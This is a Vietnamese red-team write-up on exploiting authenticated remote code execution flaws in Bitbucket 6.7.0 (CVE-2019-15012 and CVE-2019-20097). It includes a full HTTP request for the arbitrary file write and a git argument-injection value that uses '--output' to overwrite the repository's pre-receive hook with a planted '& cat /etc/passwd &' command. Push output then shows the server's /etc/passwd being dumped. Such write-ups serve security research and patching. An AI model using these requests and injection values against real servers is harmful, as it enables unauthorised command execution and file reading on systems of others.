Gần đây trong quá trình thực hiện Red Team, tôi có bắt gặp một target đang chạy Atlassian Bitbucket 6.7.0, phiên bản này rất cũ. Vì quá cũ nên nó không bị ảnh hưởng bởi một lỗi Unauthenticated RCE vừa được phát hiện, nhưng đồng thời sau vài phút tìm kiếm tôi thấy rằng nó cũng mang trong mình vài lỗi RCE khác. Điều kiện đáng kể nhất là phải cần tài khoản mới khai thác được, mà cái này thì tôi có 😌

CVE-2019-15012

Bitbucket Server and Bitbucket Data Center from version 4.13. before 5.16.11, from version 6.0.0 before 6.0.11, from version 6.1.0 before 6.1.9, from version 6.2.0 before 6.2.7, from version 6.3.0 before 6.3.6, from version 6.4.0 before 6.4.4, from version 6.5.0 before 6.5.3, from version 6.6.0 before 6.6.3, from version 6.7.0 before 6.7.3, from version 6.8.0 before 6.8.2, from version 6.9.0 before 6.9.1 had a Remote Code Execution vulnerability via the edit-file request. A remote attacker with write permission on a repository can write to any arbitrary file to the victims Bitbucket Server or Bitbucket Data Center instance using the edit-file endpoint, if the user has Bitbucket Server or Bitbucket Data Center running, and has the permission to write the file at that destination. In some cases, this can result in execution of arbitrary code by the victims Bitbucket Server or Bitbucket Data Center instance.

Đây là một lỗi tương đối hứa hẹn, vì có vẻ chức năng gây ra lỗi là rất tường minh. Ở phiên bản 6.7.3, có thêm một bước kiểm tra đối với đường dẫn file cần edit:

img.png

Dựa theo việc đọc code, chúng ta thấy rằng có thể tạo file bất kỳ trên server nếu bỏ đi tham số sourceCommitId khỏi request, chẳng hạn như:

PUT /rest/api/latest/projects/{project}/repos/{repo}/browse//tmp/abc HTTP/1.1
Host: XXX
Content-Type: multipart/form-data; boundary=---------------------------2529295542364080976415859327
Content-Length: 509
Origin: XXX
Connection: close
Cookie: XXX

-----------------------------2529295542364080976415859327
Content-Disposition: form-data; name="branch"

refs/heads/master
-----------------------------2529295542364080976415859327
Content-Disposition: form-data; name="message"

XXX
-----------------------------2529295542364080976415859327
Content-Disposition: form-data; name="content"; filename="blob"
Content-Type: application/octet-stream

POC
-----------------------------2529295542364080976415859327--

Mặc dù response trả về là một thông báo lỗi:

{“errors”:[{“context”:null,“message”:"’/usr/bin/git add – /tmp/abc’ exited with code 128 saying: fatal: /tmp/abc: ‘/tmp/abc’ is outside repository at ‘/var/atlassian/application-data/bitbucket/tmp/git/aa-work5096489893234143969’",“exceptionName”:“com.atlassian.bitbucket.scm.CommandFailedException”}]}

tuy nhiên điều thú vị là file /tmp/abc với nội dung POC vẫn được tạo thành công. Hạn chế dễ thấy nhất của CVE này là chúng ta không thể ghi đè những file đã có sẵn trên server 😓

Đáng tiếc rằng, việc ghi file webshell lại không khả thi do Bitbucket không có thư mục nào cho phép truy xuất trực tiếp file JSP, nhưng vẫn có một số cách để dẫn đến RCE, ví dụ như:

  • Ghi một malicious addon vào thư mục %application-data%/bitbucket/shared/plugins/installed-plugins, addon này sẽ tự động được cài đặt sau khi Bitbucket restart.
  • Ghi file chứa bash command vào thư mục %application-data%/bitbucket/shared/data/repositories/{repo_id}/hooks/pre-receive.d, file này sẽ được thực thi mỗi khi chúng ta push code lên repository.

Trong quá trình Red Team, cách đầu tiên không thành công vì chờ mãi mà Bitbucket vẫn không restart (cũng đúng thôi vì môi trường production người ta đâu tự nhiên chạy lại làm gì), còn cách thứ hai cũng thất bại vì các file được ghi không có cờ execute, trong khi file với sẵn cờ execute là %application-data%/bitbucket/shared/data/repositories/{repo_id}/hooks/pre-receive.d/20_bitbucket_callback (hoặc .../post-receive.d/20_bitbucket_callback) thì chúng ta lại không ghi đè được. Nếu server này mà chạy Windows thì hay 🥲

CVE-2019-20097

Đây là một lỗi Authenticated RCE khác, có mô tả trên nvd.nist.gov:

Bitbucket Server and Bitbucket Data Center versions starting from 1.0.0 before 5.16.11, from version 6.0.0 before 6.0.11, from version 6.1.0 before 6.1.9, from version 6.2.0 before 6.2.7, from version 6.3.0 before 6.3.6, from version 6.4.0 before 6.4.4, from version 6.5.0 before 6.5.3, from version 6.6.0 before 6.6.3, from version 6.7.0 before 6.7.3, from version 6.8.0 before 6.8.2, from version 6.9.0 before 6.9.1 had a Remote Code Execution vulnerability via the post-receive hook. A remote attacker with permission to clone and push files to a repository on the victim’s Bitbucket Server or Bitbucket Data Center instance, can exploit this vulnerability to execute arbitrary commands on the Bitbucket Server or Bitbucket Data Center systems, using a file with specially crafted content.

khác biệt với thông tin tại trang Jira của Atlassian:

Bitbucket Server & Bitbucket Data Center had an argument injection vulnerability, allowing an attacker to inject additional arguments into Git commands, which could lead to remote code execution. Remote attackers can exploit this argument injection vulnerability if they are able to access a Git repository in Bitbucket Server or Bitbucket Data Center. If public access is enabled for a project or repository, then attackers are able to exploit this issue anonymously.

So sánh code giữa hai phiên bản chúng ta thấy, ở bản 6.7.3 tham số commitish được trim() trước bước kiểm tra startsWith("-"), trong khi ở phiên bản bị lỗi, thứ tự xử lý diễn ra ngược lại.

img_1.png
    @Nonnull
    public B argument(@Nonnull String argument) {
        this.arguments.add(this.notBlank(argument));
        return this.self();
    }
    @Nonnull
    public B rawArgument(@Nonnull String argument) {
        this.arguments.add(Objects.requireNonNull(argument, "argument"));
        return this.self();
    }
    protected String notBlank(@Nullable String value, @Nullable String name) {
        Objects.requireNonNull(value, name);
        value = value.trim();
        if (value.isEmpty()) {
            throw new IllegalArgumentException("A non-blank " + StringUtils.defaultString(name, "value") + " is required");
        } else {
            return value;
        }
    }

Điều này đưa ra gợi ý rõ ràng rằng một giá trị của commitish có dạng -xxx (có khoảng trắng ở đầu) đã được dùng để khai thác lỗi. Về mặt kỹ thuật, Bitbucket sẽ dùng Git binary với commitish là một argument để thực hiện các tác vụ tương ứng với từng chức năng cụ thể:

img_2.png img_3.png

Có nghĩa là chúng ta có một lỗi argument injection rất giống với mô tả của từ chính Atlassian. Việc còn lại là tìm cách để lên được RCE.

Một cách phổ biến với các lỗi liên quan đến Git argument injection là lợi dụng option --output để ghi file. Trong trường hợp này, dù phương án ghi webshell không khả thi, chúng ta vẫn có thể RCE được bằng cách ghi đè file %application-data%/bitbucket/shared/data/repositories/{repo_id}/hooks/pre-receive.d/20_bitbucket_callback như đã nói ở trên.

Lưu ý rằng không phải chức năng nào của Git cũng hỗ trợ option --output. Từ quá trình phân tích code, có thể thấy /rest/api/latest/projects/{project}/repos/{repo}/diff/{file}?until={until} là một API tiềm năng, với {until} là commitish, và dẫn đến câu lệnh sau được thực thi:

[C:\Program Files\Git\cmd\git.exe, log, -C, –color=never, -U10, –dst-prefix=dst://, –src-prefix=src://, –pretty=format:, -1, {until}, –, {file}]

Nếu {until} --output=/tmp/abc (có khoảng trắng ở đầu), câu lệnh trở thành:

[C:\Program Files\Git\cmd\git.exe, log, -C, –color=never, -U10, –dst-prefix=dst://, –src-prefix=src://, –pretty=format:, -1, –output=/tmp/abc, –, {file}]

và file /tmp/abc sẽ được tạo với nội dung phụ thuộc vào file chúng ta đang muốn diff:

diff --git src://Readme.txt dst://Readme.txt
index 81c545e..176621e 100644
--- src://Readme.txt
+++ dst://Readme.txt
@@ -1 +1 @@
-1234
+POC

Để tránh bị ảnh hưởng với các ký tự liên quan đến định dạng của file diff, chúng ta sẽ dùng câu lệnh có dạng & cat /etc/passwd &, và ghi đè vào file %application-data%/bitbucket/shared/data/repositories/{repo_id}/hooks/pre-receive.d/20_bitbucket_callback để hoàn tất việc RCE:

$ cat /var/atlassian/application-data/bitbucket/shared/data/repositories/{repo_id}/hooks/pre-receive.d/20_bitbucket_callback

diff --git src://Readme.txt dst://Readme.txt
index 176621e..b455511 100644
--- src://Readme.txt
+++ dst://Readme.txt
@@ -1 +1 @@
-POC
+ & cat /etc/passwd &

$ git push

Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 24 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 353 bytes | 353.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: diff: unrecognized option '--git'
remote: diff: Try 'diff --help' for more information.
remote: hooks/pre-receive.d/20_bitbucket_callback: line 2: index: command not found
remote: hooks/pre-receive.d/20_bitbucket_callback: line 3: ---: command not found
remote: hooks/pre-receive.d/20_bitbucket_callback: line 4: +++: command not found
remote: hooks/pre-receive.d/20_bitbucket_callback: line 5: @@: command not found
remote: hooks/pre-receive.d/20_bitbucket_callback: line 6: -POC: command not found
remote: hooks/pre-receive.d/20_bitbucket_callback: line 7: +: command not found
remote: root:x:0:0:root:/root:/bin/bash
remote: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
remote: bin:x:2:2:bin:/bin:/usr/sbin/nologin
remote: sys:x:3:3:sys:/dev:/usr/sbin/nologin
remote: sync:x:4:65534:sync:/bin:/bin/sync
remote: games:x:5:60:games:/usr/games:/usr/sbin/nologin
remote: man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
remote: lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
remote: mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
remote: news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
remote: uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
remote: proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
remote: www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
remote: backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
remote: list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
...